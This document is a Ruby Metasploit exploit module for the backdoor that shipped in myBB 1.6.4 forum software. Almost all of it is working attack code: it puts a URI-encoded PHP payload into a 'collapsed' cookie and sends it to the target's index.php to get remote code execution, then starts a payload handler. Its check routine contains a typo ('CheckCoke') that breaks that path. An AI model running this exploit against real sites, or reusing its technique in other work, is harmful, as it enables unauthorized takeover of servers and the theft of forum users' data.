myBB 1.6.4 Backdoor Exploit



##

# $Id: mybb_backdoor.rb 13838 2011-10-09 03:22:07Z todb $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::Remote::HttpClient

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'myBB 1.6.4 Backdoor Exploit',
            'Description'    => %q{
                    myBB is a popular open source PHP forum software. Version 1.6.4 contained an 
                    unauthorized backdoor, distributed as part of the vendor's source package.
            },
            'Author'    =>
                [
                    'tdz',
                ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 13838 $',
            'References'     =>
                [
                    [ 'BID', '49993'  ],
                    [ 'SECUNIA', '46300' ],
                    [ 'URL', 'http://blog.mybb.com/2011/10/06/1-6-4-security-vulnerabilit/' ]
                ],
            'Privileged'     => false,
            'Platform'       => ['php'],
            'Arch'           => ARCH_PHP,
            'Payload'        =>
                {
                    'Space'       => 4000,
                    'DisableNops' => true,
                    'Keys'        => ['php'],
                },
            'Targets'        => [ ['Automatic', { }], ],
            'DefaultTarget'  => 0,
            'DisclosureDate' => 'Oct 06 2011'
            ))

            register_options(
                [
                    OptString.new('URI',    [ true, "myBB path", '/index.php']),
                ], self.class)
    end


    def uri
        datastore['URI']
    end

    def check
        print_status("Checking target")
        res = send_request_raw(
            {'method' => 'GET',
            'uri' => uri},
            10
        )
        if (not res) or (not res.code.between?(200,299))
            return Exploit::CheckCode::Safe
        else
            return Exploit::CheckCoke::Detected
        end
    end

    def exploit
    
        print_status("Sending exploit request")

        # See the patch at http://blog.mybb.com/wp-content/uploads/2011/10/mybb_1604_patches.txt
        # for details of the backdoor mechanism. 
        cookie = "collapsed=0|1|2|3|4|5|6|7|8|9|10|11|12|13|14|15|16|17|18|19|20|21|22|"
        cookie << Rex::Text.uri_encode(payload.encoded)
        
        response = send_request_raw({
            'method'  => 'GET',
            'global' => true,
            'uri' => uri,
            'headers' =>
                {
                    'Cookie' => cookie,
                }
        },10)

        if (not response) or (not response.code.between?(200,299))
            print_error "Cannot connect to #{uri} on #{datastore['RHOST']}, got #{response ? response.code : 'no response'}."
        else
            handler
        end

    end
end